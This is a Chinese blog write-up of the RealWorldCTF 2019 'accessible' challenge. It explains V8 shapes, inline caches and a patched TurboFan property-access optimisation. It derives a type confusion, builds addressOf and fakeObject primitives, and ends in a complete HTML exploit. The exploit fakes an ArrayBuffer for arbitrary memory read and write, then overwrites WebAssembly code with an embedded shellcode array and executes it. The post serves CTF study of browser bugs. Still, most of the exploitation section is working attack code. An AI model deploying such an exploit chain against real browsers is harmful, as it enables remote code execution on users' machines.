ha1vk's blog
0%

从RealWorldCTF Quals 2019 - accessible学习V8对property access的优化

发表于 分类于 ，

文章首发于安全KER https://www.anquanke.com/post/id/224765

0x00前言

从一题学习v8引擎对property access的相关JIT优化

0x01 前置知识

简介

在js中，字典类型的键称为属性(property)，如下，dict是一个对象，其中a是它的一个属性

1
var dict = {a:"haivk",b:"hai"};

当你要访问a时，首先是从这个对象里面查找键的内容a，找到后从中取出其对应的值。

优化

空间优化

假如有多个具有相同键的对象，其排列顺序也一样，那么可以不必为每一个对象都存储这些键的值，单独存储一份键的模板，我们称之为Shape，比如上述的dict其键模板为

1
2
a
b

然后每个对象只需要保存一份键模板的指针即可，这样就节省了大量的空间。
运行如下的代码，并打印JIT代码

1
2
3
4
5
6
7
8
9
10
11
var obj = {a:"haivk",b:"hai"};

function  opt(o){
    o.b = 1.1;
    o.a = 2.2;
    return o.b;
}

for(var i = 0; i < 0x20000; i++){
    opt(obj);
}

发现生成的JIT代码如下(部分)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
0x38af000851a2    c2  48b88d2c2d08af380000 REX.W movq rax,0x38af082d2c8d    ;; object: 0x38af082d2c8d <HeapNumber 1.1>
0x38af000851ac    cc  48bf158c1408af380000 REX.W movq rdi,0x38af08148c15    ;; object: 0x38af08148c15 <Object map = 0x38af0830745d>
0x38af000851b6    d6  89470f         movl [rdi+0xf],rax
0x38af000851b9    d9  49c7c00000fcff REX.W movq r8,0xfffc0000
0x38af000851c0    e0  4c23c7         REX.W andq r8,rdi
0x38af000851c3    e3  41f6400804     testb [r8+0x8],0x4
0x38af000851c8    e8  0f8533020000   jnz 0x38af00085401  <+0x321>
0x38af000851ce    ee  49b87d2c2d08af380000 REX.W movq r8,0x38af082d2c7d    ;; object: 0x38af082d2c7d <HeapNumber 2.2>
0x38af000851d8    f8  4489470b       movl [rdi+0xb],r8
0x38af000851dc    fc  49c7c10000fcff REX.W movq r9,0xfffc0000
0x38af000851e3   103  4c23cf         REX.W andq r9,rdi
0x38af000851e6   106  41f6410804     testb [r9+0x8],0x4
0x38af000851eb   10b  0f85cc010000   jnz 0x38af000853bd  <+0x2dd>
0x38af000851f1   111  4c8bc9         REX.W movq r9,rcx

可以发现，这里直接用数组下标寻址的方式进行了属性的赋值和访问

1
2
movl [rdi+0xf],rax
movl [rdi+0xb],r8

Inline Caches (ICs)

如果要多次访问字典类型的数据，那么查找键的时间耗费是比较大的，因此v8引擎使用了一种叫Inline Caches (ICs)的机制来缓解这种查找的时间耗费。假如有如下函数

1
2
3
function (obj) {
	return obj.a;
}

如果要调用该函数对同一个对象进行多次访问，那么可以将该函数里的访问过程进行优化，即不必再从查找键开始，将该键对应的数据缓存下来，这样下次访问时先校验，然后直接从缓存中加载。如下，我们对同一个对象进行了多次访问

1
2
3
4
5
6
7
8
9
10
11
var obj = {a:"haivk",b:"hai"};

function  opt(o){
    return o.b;
}

for(var i = 0; i < 0x20000; i++){
    opt(obj);
}

print(opt(obj));

对应的JIT代码如下（部分）

1
2
3
4
5
6
0x12f100084fd7   117  b81e000000     movl rax,0x1e
0x12f100084fdc   11c  48bee1302c08f1120000 REX.W movq rsi,0x12f1082c30e1    ;; object: 0x12f1082c30e1 <NativeContext[243]>
0x12f100084fe6   126  49ba00b91ce0007f0000 REX.W movq r10,0x7f00e01cb900  (LoadGlobalICTrampoline)    ;; off heap target
0x12f100084ff0   130  41ffd2         call r10
0x12f100084ff3   133  49c7c503000000 REX.W movq r13,0x3
0x12f100084ffa   13a  e841f00b00     call 0x12f100144040     ;; deopt-soft deoptimization bailout

可以看到最后一个print调用时，直接使用LoadGlobalICTrampoline函数从缓存中加载了数据，而不必再从对象中查找。
与LoadGlobalICTrampoline对应函数是StoreGlobalICTrampoline，可以将数据保存到缓存中。

0x02 漏洞分析

patch点分析

patch文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
diff --git a/src/compiler/access-info.cc b/src/compiler/access-info.cc
index 0744138..1df06df 100644
--- a/src/compiler/access-info.cc
+++ b/src/compiler/access-info.cc
@@ -370,9 +370,11 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
       // The field type was cleared by the GC, so we don't know anything
       // about the contents now.
     }
+#if 0
     unrecorded_dependencies.push_back(
         dependencies()->FieldRepresentationDependencyOffTheRecord(map_ref,
                                                                   descriptor));
+#endif
     if (descriptors_field_type->IsClass()) {
       // Remember the field map, and try to infer a useful type.
       Handle<Map> map(descriptors_field_type->AsClass(), isolate());
@@ -384,15 +386,17 @@ PropertyAccessInfo AccessInfoFactory::ComputeDataFieldAccessInfo(
   }
   // TODO(turbofan): We may want to do this only depending on the use
   // of the access info.
+#if 0
   unrecorded_dependencies.push_back(
       dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));
+#endif
 
   PropertyConstness constness;
   if (details.IsReadOnly() && !details.IsConfigurable()) {
     constness = PropertyConstness::kConst;
   } else {
     map_ref.SerializeOwnDescriptor(descriptor);
-    constness = dependencies()->DependOnFieldConstness(map_ref, descriptor);
+    constness = PropertyConstness::kConst;
   }
   Handle<Map> field_owner_map(map->FindFieldOwner(isolate(), descriptor),
                               isolate());

可以看到，patch文件通过#if和#endif将两处unrecorded_dependencies.push_back(dependencies()->FieldTypeDependencyOffTheRecord(map_ref, descriptor));给注释掉了，并且constness = PropertyConstness::kConst;将constness设为了PropertyConstness::kConst
从源码中的注释

// Store is not safe if the field type was cleared.

我们可以知道，字典对象的property的类型是很重要的，并且在程序中会被保存到unrecorded_dependencies容器里，而patch正是patch掉了这个操作，除了Double和SMI类型的对象，其他的对象的类型都不会被push到unrecorded_dependencies，unrecorded_dependencies最终包装给一个对象，然后返回

1
2
3
4
return PropertyAccessInfo::DataConstant(
    zone(), receiver_map, std::move(unrecorded_dependencies), field_index,
    details_representation, field_type, field_owner_map, field_map,
    holder);

为了方便追踪，我们用gdb动态调试，设置断点，然后运行文章开始的示例脚本

1
b AccessInfoFactory::ComputeDataFieldAccessInfo

此时，unrecorded_dependencies是空的

然后return到js-heap-broker.cc里的GetPropertyAccessInfo函数里

接着继续最终,来到js-native-context-specialization.cc里的FilterMapsAndGetPropertyAccessInfos函数

然后来到js-native-context-specialization.cc里的ReduceNamedAccess，发现这里有引用到dependencies()，打印其值，是一个容器，内容为空

到这里，发现使用access_info.receiver_maps来BuildCheckMaps

跟进BuildCheckMaps函数，来到property-access-builder.cc里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void PropertyAccessBuilder::BuildCheckMaps(
    Node* receiver, Node** effect, Node* control,
    ZoneVector<Handle<Map>> const& receiver_maps) {
  HeapObjectMatcher m(receiver);
  if (m.HasValue()) {
    MapRef receiver_map = m.Ref(broker()).map();
    if (receiver_map.is_stable()) {
      for (Handle<Map> map : receiver_maps) {
        if (MapRef(broker(), map).equals(receiver_map)) {
          dependencies()->DependOnStableMap(receiver_map);
          return;
        }
      }
    }
  }
.........................................................

跟进DependOnStableMap(receiver_map);函数

1
2
3
4
5
6
7
  387 void CompilationDependencies::DependOnStableMap(const MapRef& map) {
  388   if (map.CanTransition()) {
► 389     RecordDependency(new (zone_) StableMapDependency(map));
  390   } else {
  391     DCHECK(map.is_stable());
  392   }
  393 }

如果map.CanTransition()成立，就会修改property的类型
继续跟踪，来到graph-reducer.cc里的GraphReducer::Reduce函数

1
2
3
4
5
6
7
8
9
10
11
  85   auto skip = reducers_.end();
  86   for (auto i = reducers_.begin(); i != reducers_.end();) {
  87     if (i != skip) {
  88       tick_counter_->DoTick();
  89       Reduction reduction = (*i)->Reduce(node);
► 90       if (!reduction.Changed()) {
  91         // No change from this reducer.
  92       } else if (reduction.replacement() == node) {
  93         // {replacement} == {node} represents an in-place reduction. Rerun
  94         // all the other reducers for this node, as now there may be more
  95         // opportunities for reduction.

poc构造

从上述的分析可知，如果DependOnStableMap(receiver_map);里的map.CanTransition()不成立，那么property的类型就不会被改变，由于const MapRef& map参数来自access_info.receiver_maps()，而access_info里的部分数据来自unrecorded_dependencies，而由于patch的原因，某些类型不会加入到unrecorded_dependencies了，那么意味着一些原本该进行类型转换的操作将不会进行。
首先构造

1
2
3
4
5
6
7
8
9
10
var obj = {a:"haivk",b:"hai"};

function  opt(o){
    return o.a;
}
for(var i = 0; i < 0x20000; i++){
    opt(obj);
}
obj.a = 1.1;
print(opt(obj));

发现不能造成类型混淆，其JIT代码如下（部分）

1
2
3
4
5
6
7
8
9
0x23565c142c38   118  49b971404c31240e0000 REX.W movq r9,0xe24314c4071    ;; object: 0x0e24314c4071 <String[#1]: a>
0x23565c142c42   122  4151           push r9
0x23565c142c44   124  49b931024ab11e080000 REX.W movq r9,0x81eb14a0231    ;; object: 0x081eb14a0231 <HeapNumber 1.1>
0x23565c142c4e   12e  4151           push r9
0x23565c142c50   130  48bbb00d6ce27c7f0000 REX.W movq rbx,0x7f7ce26c0db0    ;; external reference (Runtime::SetNamedProperty)
0x23565c142c5a   13a  b803000000     movl rax,0x3
0x23565c142c5f   13f  488b75a8       REX.W movq rsi,[rbp-0x58]
0x23565c142c63   143  49bac0a02fe37c7f0000 REX.W movq r10,0x7f7ce32fa0c0  (CEntry_Return1_DontSaveFPRegs_ArgvOnStack_NoBuiltinExit)    ;; off heap target
0x23565c142c6d   14d  41ffd2         call r10

主要是在执行obj.a = 1.1;的时候没有使用优化的方法，而是使用SetNamedProperty的普通js方法来进行赋值，那么就不会触发到漏洞点。那么，我们在{}里再包含一个{}试试

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {a:{b:"haivk"}};

function  opt(o){
    return o.a.b;
}
for(var i = 0; i < 0x20000; i++){
    opt(obj);
}

obj.a = {b:2.2};

print(opt(obj));

仍然没有发生类型混淆，查看JIT代码

1
2
3
4
5
0x3b6d7cc2dfe   19e  48b991c2313f02140000 REX.W movq rcx,0x14023f31c291    ;; object: 0x14023f31c291 <String[#5]: print>
0x3b6d7cc2e08   1a8  48b8000000000e000000 REX.W movq rax,0xe00000000
0x3b6d7cc2e12   1b2  4c8bc6         REX.W movq r8,rsi
0x3b6d7cc2e15   1b5  49baa0792d89ab7f0000 REX.W movq r10,0x7fab892d79a0  (LoadGlobalICTrampoline)    ;; off heap target
0x3b6d7cc2e1f   1bf  41ffd2         call r10

其中opt函数优化为如下，可以看到其被优化为了数组寻址的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x3e95ea042b5b    3b  55             push rbp
0x3e95ea042b5c    3c  4889e5         REX.W movq rbp,rsp
0x3e95ea042b5f    3f  56             push rsi
0x3e95ea042b60    40  57             push rdi
0x3e95ea042b61    41  4883ec08       REX.W subq rsp,0x8
0x3e95ea042b65    45  488975e8       REX.W movq [rbp-0x18],rsi
0x3e95ea042b69    49  493b65e0       REX.W cmpq rsp,[r13-0x20] (external value (StackGuard::address_of_jslimit()))
0x3e95ea042b6d    4d  0f8630000000   jna 0x3e95ea042ba3  <+0x83>
0x3e95ea042b73    53  488b5510       REX.W movq rdx,[rbp+0x10]
0x3e95ea042b77    57  f6c201         testb rdx,0x1
0x3e95ea042b7a    5a  0f8449000000   jz 0x3e95ea042bc9  <+0xa9>
0x3e95ea042b80    60  48b9b9a6cc430b0e0000 REX.W movq rcx,0xe0b43cca6b9    ;; object: 0x0e0b43cca6b9 <Map(HOLEY_ELEMENTS)>
0x3e95ea042b8a    6a  48394aff       REX.W cmpq [rdx-0x1],rcx
0x3e95ea042b8e    6e  0f8541000000   jnz 0x3e95ea042bd5  <+0xb5>
0x3e95ea042b94    74  488b5217       REX.W movq rdx,[rdx+0x17]
0x3e95ea042b98    78  488b4217       REX.W movq rax,[rdx+0x17]
0x3e95ea042b9c    7c  488be5         REX.W movq rsp,rbp
0x3e95ea042b9f    7f  5d             pop rbp

考虑到是ICS缓存机制的原因，o.a.b的类型被缓存，因此存入1.1时仍然是以HOLEY_ELEMENTS的方式将1.1打包为HeapNumber，存为了对象，那么我们尝试这样修改

1
2
3
4
5
6
7
8
9
10
11
12
var obj = {a:{b:"haivk"}};

function  opt(o){
    return o.a.b;
}
for(var i = 0; i < 0x20000; i++){
    opt(obj);
}
//修改点
obj.a = {c:2.2};

print(opt(obj));

上述，我们改了

1
obj.a = {c:2.2};

即将a改成了另一个Shape形的字典对象，然后调试，可以发现，这回因为没有缓存的原因，obj.a = {c:2.2};是以unboxed double的形式将数据写入

而opt函数仍然能够访问obj.a.c是因为opt被优化为了数组寻址的方式，并且opt中仅比较了obj.a的类型是否合法，而没有比较obj.a.b的类型

1
2
3
4
5
6
7
0x1c8800bc2b80    60  48b9b9a678b713050000 REX.W movq rcx,0x513b778a6b9    ;; object: 0x0513b778a6b9 <Map(HOLEY_ELEMENTS)>
0x1c8800bc2b8a    6a  48394aff       REX.W cmpq [rdx-0x1],rcx
0x1c8800bc2b8e    6e  0f8541000000   jnz 0x1c8800bc2bd5  <+0xb5>
0x1c8800bc2b94    74  488b5217       REX.W movq rdx,[rdx+0x17]
0x1c8800bc2b98    78  488b4217       REX.W movq rax,[rdx+0x17]
0x1c8800bc2b9c    7c  488be5         REX.W movq rsp,rbp
0x1c8800bc2b9f    7f  5d             pop rbp

继续运行，发现发生了类型混淆，1.1被当成一个对象地址，然后取出了一个对象

由此，我们可以构造如下两个原语

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
function addressOf(obj) {
   var obj1 = {a:{b:1.1}};
   let f = eval(`(obj1)=>{
      return obj1.a.b;
   }`);
   for (var i=0;i<0x20000;i++) {
      f(obj1);
   }
   obj1.a = {c:obj};
   var addr = f(obj1);
   return u64f(addr) - 1n;
}

function fakeObject(addr) {
   var obj2 = {x:{y:buf}};
   let f = eval(`(obj2)=>{
      return obj2.x.y;
   }`);
   for (var i=0;i<0x20000;i++) {
      f(obj2);
   }
   obj2.x = {z:i2f64(addr + 0x1n)};
   return f(obj2);
}

注意事项

由于ICS缓存机制的原因，上述两个原语仅能使用一次，因为调用后，里面的字典对象相关信息会被缓存，因此想要多次利用的话，需要构造多个原语函数，并且每个函数里的字典对象的key互不相同，这里，我们也可以看到，在addressOf里面，我们用的是var obj1 = {a:{b:1.1}};，而在fakeObj里面，我们用的是var obj2 = {x:{y:buf}};

0x03 漏洞利用

本题的v8版本为7.9.33，在低版本中，还没有compression pointer（指针压缩）机制，因此addressOf可以直接泄露出8字节地址，然后利用fakeObj伪造一个ArrayBuffer实现任意地址读写，由于没有关闭wasm，我们可以利用任意地址读写，修改wasm的shellcode，然后执行wasm就可以执行到我们的shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
<!DOCTYPE html>
<html>
  <body>
    <script>
var buf = new ArrayBuffer(0x8);
var dv = new DataView(buf);

function p64f(value1,value2) {
   dv.setUint32(0,value1,true);
   dv.setUint32(0x4,value2,true);
   return dv.getFloat64(0,true);
}

function i2f64(value) {
   dv.setBigUint64(0,BigInt(value),true);
   return dv.getFloat64(0,true);
}

function u64f(value) {
   dv.setFloat64(0,value,true);
   return dv.getBigUint64(0,true);
}


function addressOf(obj) {
   var obj1 = {a:{b:1.1}};
   let f = eval(`(obj1)=>{
      return obj1.a.b;
   }`);
   for (var i=0;i<0x20000;i++) {
      f(obj1);
   }
   obj1.a = {c:obj};
   var addr = f(obj1);
   return u64f(addr) - 1n;
}

function addressOf1(obj) {
   var obj1 = {e:{f:1.1}};
   let f = eval(`(obj1)=>{
      return obj1.e.f;
   }`);
   for (var i=0;i<0x20000;i++) {
      f(obj1);
   }
   obj1.e = {g:obj};
   var addr = f(obj1);
   return u64f(addr) - 1n;
}


function fakeObject(addr) {
   var obj2 = {x:{y:buf}};
   let f = eval(`(obj2)=>{
      return obj2.x.y;
   }`);
   for (var i=0;i<0x20000;i++) {
      f(obj2);
   }
   obj2.x = {z:i2f64(addr + 0x1n)};
   return f(obj2);
}

const wasmCode = new Uint8Array([0x00,0x61,0x73,0x6D,0x01,0x00,0x00,0x00,0x01,0x85,0x80,0x80,0x80,0x00,0x01,0x60,0x00,0x01,0x7F,0x03,0x82,0x80,0x80,0x80,0x00,0x01,0x00,0x04,0x84,0x80,0x80,0x80,0x00,0x01,0x70,0x00,0x00,0x05,0x83,0x80,0x80,0x80,0x00,0x01,0x00,0x01,0x06,0x81,0x80,0x80,0x80,0x00,0x00,0x07,0x91,0x80,0x80,0x80,0x00,0x02,0x06,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x02,0x00,0x04,0x6D,0x61,0x69,0x6E,0x00,0x00,0x0A,0x8A,0x80,0x80,0x80,0x00,0x01,0x84,0x80,0x80,0x80,0x00,0x00,0x41,0x2A,0x0B]);
const shellcode = new Uint32Array([186,114176,46071808,3087007744,41,2303198479,3091735556,487129090,16777343,608471368,1153910792,4132,2370306048,1208493172,3122936971,16,10936,1208291072,1210334347,50887,565706752,251658240,1015760901,3334948900,1,8632,1208291072,1210334347,181959,565706752,251658240,800606213,795765090,1207986291,1210320009,1210334349,50887,3343384576,194,3913728,84869120]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var func = wasmInstance.exports.main;

var faker = [0.0,1.1,2.2,3.3,4.4,5.5,6.6,7.7,8.8,9.9];
var faker_addr = addressOf(faker);
print('faker_addr='+faker_addr.toString(16));
wasm_shellcode_ptr_addr = addressOf1(wasmInstance) + 0x80n;
var element_addr = faker_addr - 0x50n;
print('element_addr=' + element_addr.toString(16));
//fake a ArrayBuffer's Map
faker[0] = i2f64(0n);
faker[1] = i2f64(0x1900042317080808n);
faker[2] = i2f64(0x00000000084003ffn);
faker[3] = i2f64(0);

//faker a ArrayBuffer
faker[4] = i2f64(element_addr+0x1n); //map
faker[5] = i2f64(0); //properties
faker[6] = i2f64(0); //elements
faker[7] = p64f(0xffffffff,0); //length
faker[8] = i2f64(wasm_shellcode_ptr_addr);
faker[9] = 0x2;

var arb_ArrayBuffer = fakeObject(element_addr+0x20n);
var adv = new DataView(arb_ArrayBuffer);
var wasm_shellcode_addr = adv.getBigUint64(0,true);
print('wasm_shellcode_addr=' + wasm_shellcode_addr.toString(16));
faker[8] = i2f64(wasm_shellcode_addr);
//替换wasm的shellcode
for (var i=0;i<shellcode.length;i++) {
   adv.setUint32(i*4,shellcode[i],true);
}
//%SystemBreak();
//执行shellcode
func();
    </script>
  </body>
</html>

0x04 感想

通过本题加深了对v8的字典对象的理解，同时学习了wasm在浏览器漏洞中的利用手法。浏览器PWN虽然难但是很有趣。

0x05 参考

Shapes and Inline Caches
[译] JavaScript 引擎基础：Shapes 和 Inline Caches
JavaScript engine fundamentals: optimizing prototypes
简明扼要地谈谈v8的隐藏类和Inline Cache（內联缓存